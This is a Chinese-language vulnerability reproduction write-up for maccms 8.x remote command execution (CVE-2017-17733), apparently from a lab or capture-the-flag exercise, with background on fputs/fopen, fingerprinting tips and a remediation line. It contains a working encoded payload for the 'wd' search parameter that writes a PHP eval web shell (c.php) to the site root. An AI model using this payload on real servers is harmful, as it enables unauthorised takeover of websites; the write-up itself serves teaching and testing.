【漏洞复现】六、maccms 远程命令执行(CVE-2017-17733)
6.0、储备知识
1、可控参数
(审计)
2、fputs()函数
函数写入文件(可安全用于二进制文件),fputs() 函数是 fwrite() 函数的别名
fputs(file,string,length)
3、fopen() 函数
打开文件或者 URL,如果打开失败,本函数返回 FALSE
fopen(filename,mode,include_path,context)
6.1、漏洞原理
远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令
具体漏洞原理请移步至:黑色地带(崛起)的人类高质量文章
6.2、影响版本
maccms8.X
6.3、指纹识别
1.页面源码中引用了/template/paody/路径的文件
2.使用指纹识别类平台识别。
6.4、漏洞复现
漏洞点
http://ip:port/index.php?m=vod-search
在此页面抓包
方法一:change request method -->添加poc(poc内容如下)
内容为在网站根目录下生一个c.php的木马,连接密码为c
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
这个马子进行了编码绕过,通过base64编码写入一句话木马<?php @eval($_POST[‘c’]); ?>
这个马子还做了url的编码
方法二:直接GET改POST后加入poc内容
flag-{bmh7d80d290-a5b8-43d4-bbb9-d7145a4b177b}
6.5、修补整改
升级新版本